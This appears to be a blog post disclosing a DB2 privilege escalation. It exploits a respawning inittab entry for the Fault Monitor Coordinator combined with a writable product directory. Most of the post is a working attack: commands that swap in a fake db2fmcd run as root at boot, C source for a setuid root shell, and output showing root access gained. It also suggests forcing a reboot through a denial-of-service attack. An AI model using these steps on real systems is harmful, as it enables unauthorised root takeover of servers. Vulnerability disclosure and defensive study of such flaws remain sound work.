DB2 Privilege Escalation – Abusing inittab Misconfigurations

I recently came across a DB2 privilege escalation, so I thought I would share it.

That said, I’m not certain if this is a default configuration, or was specific to this machine. With that in mind, this is closer to a full disclosure unless someone has any more information.

Vulnerability

On any machine running DB2 that includes the DB2 Fault Monitor Coordinator, it is likely that a privilege escalation exploit exists.

First, to verify that escalation is possible, look for the following line in /etc/inittab.

fmc:2345:respawn:/db2target/db2/product/V10.5/bin/db2fmcd #DB2 Fault Monitor Coordinator

If this line (or something similar) exists, then verify that your current user has write permissions to the db2/product directory.

[db2adm@db2target ~]$ ls -al /db2target/db2/product
total 16
drwxr-xr-x  4 db2adm  db2adm 4096 Nov 18 03:24 .
drwxr-xr-x  7 db2clp1 db2adm 4096 Nov 18 03:31 ..
drwxr-xr-x  2 db2adm  db2adm 4096 Nov 18 03:13 10.5
drwxrwxr-x 39 root    root   4096 Nov 18 03:26 V10.5

Exploit

If your user has write permissions to the product directory, then you are able to create an entirely new “fake” directory structure that you control.

[db2adm@db2target ~]$ mv /db2target/db2/product/V10.5 /db2target/db2/product/V10.5_bak
[db2adm@db2target ~]$ ls -al /db2target/db2/product
ls -al /db2target/db2/product
total 16
drwxr-xr-x  4 db2adm  db2adm 4096 Apr 25 14:49 .
drwxr-xr-x  7 db2clp1 db2adm 4096 Nov 18 03:31 ..
drwxr-xr-x  2 db2adm  db2adm 4096 Nov 18 03:13 10.5
drwxrwxr-x 39 root    root   4096 Nov 18 03:26 V10.5_bak
[db2adm@db2target ~]$ mkdir /db2target/db2/product/V10.5
[db2adm@db2target ~]$ mkdir /db2target/db2/product/V10.5/bin

With the new directory structure in place, it is time to create a malicious db2fmcd that the system will run at boot time.

[db2adm@db2target tmp]$ cat /db2target/db2/product/V10.5/bin/db2fmcd
chown root:root /tmp/setuid
chmod 4755 /tmp/setuid

In this case, I went with a payload that would setuid root the following binary that I controlled in /tmp.

[db2adm@db2target tmp]$ cat /tmp/setuid.c
int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}

Before any system changes, the binary has the following permissions.

[db2adm@db2target tmp]$ ls -al /tmp/setuid
-rwxrwxr-x 1 db2adm db2adm 6978 Apr 25 14:51 /tmp/setuid

Afterwards, you just need to wait for the system to be rebooted, or an `init q` to be run. In external threat scenarios, the possibility of a DoS attack makes this vector even easier to control.
Once that occurs, escalation to root is possible!

<...reboot or init q...>
 
[db2adm@db2target tmp]$ ls -al /tmp/setuid
-rwsr-xr-x 1 root root 6978 Apr 25 14:51 /tmp/setuid
[db2adm@db2target tmp]$ ./setuid
[root@db2target tmp]# id
id
uid=0(root) gid=0(root) groups=1145(sdb2adm),1266(db2adm)

Conclusion

While this specific vulnerability was a DB2 privilege escalation, you should always be sure to check inittab when trying to escalate privileges. You never know what scripts or directories that you might have excessive permissions to.